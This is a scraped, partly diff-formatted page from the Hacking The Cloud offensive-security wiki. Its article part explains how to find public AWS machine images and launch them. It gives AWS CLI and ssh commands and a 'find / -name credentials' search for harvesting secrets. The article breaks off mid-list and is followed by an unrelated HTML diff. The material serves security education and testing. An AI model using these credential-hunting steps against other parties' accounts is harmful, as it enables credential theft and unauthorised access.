GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#finding-exposed-amis class=md-nav__link> <span class=md-ellipsis> Finding Exposed AMIs </span> </a> </li> <li class=md-nav__item> <a href=#using-public-amis-and-scanning-for-credentials class=md-nav__link> <span class=md-ellipsis> Using Public AMIs and Scanning for Credentials </span> </a> <nav class=md-nav aria-label="Using Public AMIs and Scanning for Credentials"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#launching-an-instance-from-a-public-ami class=md-nav__link> <span class=md-ellipsis> Launching an Instance from a Public AMI </span> </a> </li> <li class=md-nav__item> <a href=#manually-scanning-for-credentials class=md-nav__link> <span class=md-ellipsis> Manually Scanning for Credentials </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#automating-the-process class=md-nav__link> <span class=md-ellipsis> Automating the Process </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Eduard Schwarzkopf</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/discover_secrets_in_public_aims.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Discover secrets in public AMIs</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://securitycafe.ro/2024/05/08/aws-cloudquarry-digging-for-secrets-in-public-amis/ >AWS CloudQuarry: Digging for Secrets in Public AMIs</a> by <a href=https://www.linkedin.com/in/eduard-k-agavriloae/ >Eduard Agavriloae</a> and <a href=https://www.linkedin.com/in/matei-anthony-josephs-325ba5199/ >Matei Josephs</a>.</p> </li> </ul> </div> <p>For EC2 instances, Amazon Machine Images (AMIs) are crucial as they contain the essential information required to launch instances, including the operating system, configuration files, software, and relevant data. A significant security consideration of these AMIs is that they can be (either accidentally or intentionally) made public, thus accessible for anyone to utilize and potentially exploit.</p> <h2 id=finding-exposed-amis>Finding Exposed AMIs<a class=headerlink href=#finding-exposed-amis title="Permanent link">&para;</a></h2> <p>Many instances of resource exposure (and subsequent exploitation) in AWS necessitate knowing the AMI ID. This offers some level of security-by-obscurity as an attacker needs the AMI ID to exploit the resource.</p> <p>However, if AMIs are marked public, the list of available public AMIs is accessible through the AWS API. If you know the account ID, you can easily run through all regions to see if any public AMIs are available:</p> <div class=highlight><pre><span></span><code>aws<span class=w> </span>ec2<span class=w> </span>describe-images<span class=w> </span>--owners<span class=w> </span>&lt;account_id&gt;<span class=w> </span>--include-deprecated<span class=w> </span>--region<span class=w> </span>&lt;region&gt;
 </code></pre></div> <h2 id=using-public-amis-and-scanning-for-credentials>Using Public AMIs and Scanning for Credentials<a class=headerlink href=#using-public-amis-and-scanning-for-credentials title="Permanent link">&para;</a></h2> <p>Once you've identified public AMIs, you can use them to launch instances and manually scan for sensitive information, including credentials.</p> <h3 id=launching-an-instance-from-a-public-ami>Launching an Instance from a Public AMI<a class=headerlink href=#launching-an-instance-from-a-public-ami title="Permanent link">&para;</a></h3> <p>To launch an instance from a public AMI, follow these steps:</p> <ol> <li><strong>Launch an Instance:</strong><br> Using the AWS CLI, launch an instance using the desired AMI: <div class=highlight><pre><span></span><code>aws<span class=w> </span>ec2<span class=w> </span>run-instances<span class=w> </span>--image-id<span class=w> </span>&lt;image_id&gt;<span class=w> </span>--instance-type<span class=w> </span>t2.micro<span class=w> </span>--key-name<span class=w> </span>&lt;key-pair&gt;
 </code></pre></div></li> <li><strong>Access the Instance:</strong><br> Once the instance is running, connect to it using Session Manager or SSH: <div class=highlight><pre><span></span><code>ssh<span class=w> </span>-i<span class=w> </span>&lt;your-key-pair&gt;.pem<span class=w> </span>ec2-user@&lt;public-dns-of-instance&gt;
 </code></pre></div></li> </ol> <h3 id=manually-scanning-for-credentials>Manually Scanning for Credentials<a class=headerlink href=#manually-scanning-for-credentials title="Permanent link">&para;</a></h3> <p>Manual scanning involves checking common locations where credentials may be stored. Here are some typical command-line operations that can help:</p> <ol> <li><strong>Search for AWS Credentials:</strong> <div class=highlight><pre><span></span><code>find<span class=w> </span>/<span class=w> </span>-name<span class=w> </span><span class=s2>&quot;credentials&quot;</span><span class=w> </span>-type<span class=w> </span>f
diff --git a/aws/enumeration/enum_iam_user_role/index.html b/aws/enumeration/enum_iam_user_role/index.html
index b5a243b31..0f12b829e 100644
--- a/aws/enumeration/enum_iam_user_role/index.html
+++ b/aws/enumeration/enum_iam_user_role/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication."><link href=https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ rel=canonical><link href=../discover_secrets_in_public_aims/ rel=prev><link href=../enumerate_principal_arn_from_unique_id/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Unauthenticated Enumeration of IAM Users and Roles - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Unauthenticated Enumeration of IAM Users and Roles - Hacking The Cloud"><meta property=og:description content="Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Unauthenticated Enumeration of IAM Users and Roles - Hacking The Cloud"><meta property=twitter:description content="Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication."><link href=https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ rel=canonical><link href=../discover_secrets_in_public_aims/ rel=prev><link href=../enumerate_principal_arn_from_unique_id/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Unauthenticated Enumeration of IAM Users and Roles - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Unauthenticated Enumeration of IAM Users and Roles - Hacking The Cloud"><meta property=og:description content="Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Unauthenticated Enumeration of IAM Users and Roles - Hacking The Cloud"><meta property=twitter:description content="Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#unauthenticated-enumeration-of-iam-users-and-roles class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 